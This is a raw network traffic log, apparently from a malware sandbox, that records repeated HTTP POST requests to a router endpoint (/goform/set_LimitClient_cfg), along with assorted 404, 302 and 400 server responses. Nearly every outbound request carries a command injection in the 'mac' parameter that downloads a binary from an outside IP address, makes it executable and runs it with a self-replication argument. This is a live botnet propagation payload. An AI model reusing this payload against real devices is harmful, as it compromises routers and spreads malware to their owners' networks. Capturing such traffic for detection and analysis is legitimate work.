Feb 29, 2024 10:47:45.061378002 CET	1286	IN	HTTP/1.1 404 Not Found transfer-encoding: chunked Content-Type: application/json Data Raw: 31 66 66 66 0d 0a 7b 22 6d 65 73 73 61 67 65 22 3a 22 48 54 54 50 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 64 65 74 61 69 6c 73 22 3a 22 6a 61 76 61 78 2e 77 73 2e 72 73 2e 4e 6f 74 46 6f 75 6e 64 45 78 63 65 70 74 69 6f 6e 3a 20 48 54 54 50 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 68 61 6e 64 6c 65 72 73 2e 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 28 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 37 31 29 5c 6e 5c 74 61 74 20 69 6f 2e 71 75 61 72 6b 75 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 72 75 6e 74 69 6d 65 2e 51 75 61 72 6b 75 73 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 52 65 71 75 65 73 74 43 6f 6e 74 65 78 74 2e 69 6e 76 6f 6b 65 48 61 6e 64 6c 65 72 28 51 75 61 72 6b 75 73 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 52 65 71 75 65 73 74 43 6f 6e 74 65 78 74 2e 6a 61 76 61 3a 39 34 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 63 6f 6d 6d 6f 6e 2e 63 6f 72 65 2e 41 62 73 74 72 61 63 74 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 43 6f 6e 74 65 78 74 2e 72 75 6e 28 41 62 73 74 72 61 63 74 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 43 6f 6e 74 65 78 74 2e 6a 61 76 61 3a 31 34 35 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 68 61 6e 64 6c 65 72 73 2e 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 62 65 67 69 6e 50 72 6f 63 65 73 73 69 6e 67 28 52 65 73 74 49 6e 69 74 69 61 6c 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 34 38 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 76 65 72 74 78 2e 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 28 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 32 33 29 5c 6e 5c 74 61 74 20 6f 72 67 2e 6a 62 6f 73 73 2e 72 65 73 74 65 61 73 79 2e 72 65 61 63 74 69 76 65 2e 73 65 72 76 65 72 2e 76 65 72 74 78 2e 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 68 61 6e 64 6c 65 28 52 65 73 74 65 61 73 79 52 65 61 63 74 69 76 65 56 65 72 74 78 48 61 6e 64 6c 65 72 2e 6a 61 76 61 3a 31 30 29 5c 6e 5c 74 61 74 20 69 6f 2e 76 65 72 74 78 2e 65 78 74 2e 77 65 62 2e 69 6d 70 6c 2e 52 6f 75 74 65 53 74 61 74 65 2e 68 61 6e 64 6c 65 43 6f 6e 74 65 78 74 28 52 6f 75 74 65 53 74 61 74 65 2e 6a 61 76 61 3a 31 32 38 34 29 5c 6e 5c 74 61 74 20 69 6f 2e 76 65 72 74 78 2e 65 78 74 2e 77 65 62 2e 69 6d 70 6c 2e 52 6f 75 74 69 6e 67 43 6f 6e 74 65 78 74 49 6d 70 6c 42 61 73 65 2e 69 74 65 72 61 74 65 4e 65 78 74 28 52 6f 75 74 69 6e 67 43 6f 6e 74 65 78 74 49 6d 70 6c 42 61 73 65 2e 6a 61 76 61 3a 31 37 37 29 5c 6e 5c 74 61 74 20 69 6f 2e 76 65 72 74 78 2e 65 78 74 2e 77 65 62 2e 69 6d 70 6c 2e 52 6f 75 74 69 6e 67 43 6f 6e 74 65 78 74 49 6d 70 6c 2e 6e 65 78 74 28 52 6f 75 74 69 6e 67 43 6f 6e 74 65 78 74 49 6d 70 6c 2e 6a 61 76 61 3a 31 34 31 29 5c 6e 5c 74 61 74 20 69 6f 2e 71 75 61 72 6b 75 73 2e 76 65 72 74 78 2e 68 74 74 70 2e 72 75 6e 74 69 6d 65 2e 53 74 61 74 69 63 52 65 73 6f 75 72 63 65 73 52 65 63 6f 72 64 65 72 24 32 2e 68 61 6e 64 6c 65 28 53 74 61 74 69 63 52 65 73 6f 75 72 63 65 73 52 65 63 6f 72 64 65 72 2e 6a 61 76 61 3a 38 34 29 5c 6e 5c 74 Data Ascii: 1fff{"message":"HTTP 404 Not Found","details":"javax.ws.rs.NotFoundException: HTTP 404 Not Found\n\tat org.jboss.resteasy.reactive.server.handlers.RestInitialHandler.handle(RestInitialHandler.java:71)\n\tat io.quarkus.resteasy.reactive.server.runtime.QuarkusResteasyReactiveRequestContext.invokeHandler(QuarkusResteasyReactiveRequestContext.java:94)\n\tat org.jboss.resteasy.reactive.common.core.AbstractResteasyReactiveContext.run(AbstractResteasyReactiveContext.java:145)\n\tat org.jboss.resteasy.reactive.server.handlers.RestInitialHandler.beginProcessing(RestInitialHandler.java:48)\n\tat org.jboss.resteasy.reactive.server.vertx.ResteasyReactiveVertxHandler.handle(ResteasyReactiveVertxHandler.java:23)\n\tat org.jboss.resteasy.reactive.server.vertx.ResteasyReactiveVertxHandler.handle(ResteasyReactiveVertxHandler.java:10)\n\tat io.vertx.ext.web.impl.RouteState.handleContext(RouteState.java:1284)\n\tat io.vertx.ext.web.impl.RoutingContextImplBase.iterateNext(RoutingContextImplBase.java:177)\n\tat io.vertx.ext.web.impl.RoutingContextImpl.next(RoutingContextImpl.java:141)\n\tat io.quarkus.vertx.http.runtime.StaticResourcesRecorder$2.handle(StaticResourcesRecorder.java:84)\n\t

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:50.398022890 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:51.114249945 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:50.464977026 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:50.660727024 CET	336	IN	HTTP/1.0 302 Redirect Date: Thu, 29 Feb 2024 09:47:50 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Location: http://(null)/login.htm Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 52 65 64 69 72 65 63 74 3c 2f 48 31 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 6c 6f 67 69 6e 2e 68 74 6d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD></HEAD><BODY><H1>302 Redirect</H1>The document has moved<A HREF="login.htm">here</A>.</BODY></HTML>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:50.840161085 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:51.398190975 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:52.486190081 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:54.825754881 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:59.177489996 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:07.879904032 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:25.793462992 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:49:00.604624033 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:51.010926962 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:51.360693932 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 29 Feb 2024 09:47:51 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:51.652425051 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:51.824934959 CET	35	IN	HTTP/1.0 302 Redirect

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:56.900944948 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:57.191080093 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:47:57.059405088 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:47:57.319582939 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 29 Feb 2024 09:47:57 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:02.398938894 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
